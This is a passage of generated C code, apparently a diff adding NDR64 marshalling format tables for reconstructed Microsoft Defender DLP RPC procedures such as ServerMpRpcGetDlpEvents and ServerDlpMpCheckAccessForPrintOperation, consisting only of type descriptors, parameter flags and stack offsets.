FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3370_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1519 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1497 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1662 + } +}; + +static const __midl_frag1517_t __midl_frag1517 = +{ +/* **Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1518 +}; + +static const __midl_frag1515_t __midl_frag1515 = +{ +/* Proc159_ServerMpRpcConveyUserChoiceForDlpNotification */ + { + /* Proc159_ServerMpRpcConveyUserChoiceForDlpNotification */ /* procedure Proc159_ServerMpRpcConveyUserChoiceForDlpNotification */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 72 /* 0x48 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 8 /* 0x8 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1517, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2266, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2367, + { + /* arg_7 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + } +}; + +static const __midl_frag1510_t __midl_frag1510 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag1497_t __midl_frag1497 = +{ +/* Struct_3370_t */ + { + /* Struct_3370_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3370_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 152 /* 0x98 */, + 0, + 0, + &__midl_frag1510, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1496_t __midl_frag1496 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag1495_t __midl_frag1495 = +{ +/* **Struct_3370_t */ + { + /* **Struct_3370_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3370_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1496 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1497 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1662 + } +}; + +static const __midl_frag1494_t __midl_frag1494 = +{ +/* **Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1495 +}; + +static const __midl_frag1493_t __midl_frag1493 = +{ +/* ***Struct_3370_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1494 +}; + +static const __midl_frag1489_t __midl_frag1489 = +{ +/* Proc158_ServerMpRpcGetDlpEvents */ + { + /* Proc158_ServerMpRpcGetDlpEvents */ /* procedure Proc158_ServerMpRpcGetDlpEvents */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1493, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1479_t __midl_frag1479 = +{ +/* Proc157_ServerMpShowDlpDetailsDialog */ + { + /* Proc157_ServerMpShowDlpDetailsDialog */ /* procedure Proc157_ServerMpShowDlpDetailsDialog */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2266, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1468_t __midl_frag1468 = +{ +/* Proc156_ServerDlpMpConveyNewPrinterConnection */ + { + /* Proc156_ServerDlpMpConveyNewPrinterConnection */ /* procedure Proc156_ServerDlpMpConveyNewPrinterConnection */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2266, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2266, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1453_t __midl_frag1453 = +{ +/* Proc155_ServerDlpMpCheckAccessForPrintOperation */ + { + /* Proc155_ServerDlpMpCheckAccessForPrintOperation */ /* procedure Proc155_ServerDlpMpCheckAccessForPrintOperation */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 80 /* 0x50 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 9 /* 0x9 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* 